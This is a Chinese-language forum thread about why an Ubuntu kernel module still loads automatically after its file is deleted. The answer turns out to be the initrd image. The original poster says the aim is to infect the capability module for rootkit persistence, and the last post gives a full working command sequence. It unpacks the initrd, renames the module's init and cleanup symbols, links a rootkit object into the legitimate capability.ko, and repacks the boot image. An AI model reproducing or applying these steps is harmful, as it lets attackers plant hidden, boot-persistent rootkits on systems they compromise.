ubuntu的lkm模块是怎么自动加载的呢？

hackisle

遇到一个很奇怪的问题，为什么我把/lib/modules/2.6.20-15-generic下的capability.ko文件删除了系统还能正确加载capability模块呢？

我在系统中只找到两个capability.ko并全部删除了，可是系统重启后模块还是会自动加载，是有其他的备份文件吗？

lxyscls

这个~
你查一下etc下面的文件是如何启动加载模块的好了~
init.d X11, rcS.d等下面的东西~

superfight

还有一个INITRD吧~ 会不会是在这里面加载的~

liying_gg

strace modprobe capability看一下加载得是哪里的ko

wheel

initrd-xxx.xxx.xx.img里的。。用cpio解开就知道

hackisle

郁闷，本来想通过感染capability模块实现自动加载的，这下没戏了

hackisle

cp /boot/initrd.img-2.6.20-15-generic initrd.img-2.6.20-15-generic.bak
cp initrd.img-2.6.20-15-generic.bak initrd.img.gz
gunzip initrd.img.gz
mkdir initrd
cd initrd
cpio -id<../initrd.img
cd ./lib/modules/2.6.20-15-generic/kernel/security
mv capability.ko old.ko
/tmp/rootkitl/chstr old.ko init_module init_000000
/tmp/rootkitl/chstr old.ko cleanup_module cleanup_000000
ld -r /tmp/rootkitl/capability.ko old.ko -o capability.ko
rm old.ko
rmmod capability
insmod capability.ko
cd /tmp/rootkitl/initrd
find .|cpio -oH newc|gzip -9>/boot/initrd.img-2.6.20-15-generic

终于成功了
：）

[ 本帖最后由 hackisle 于 2009-7-25 14:24 编辑 ]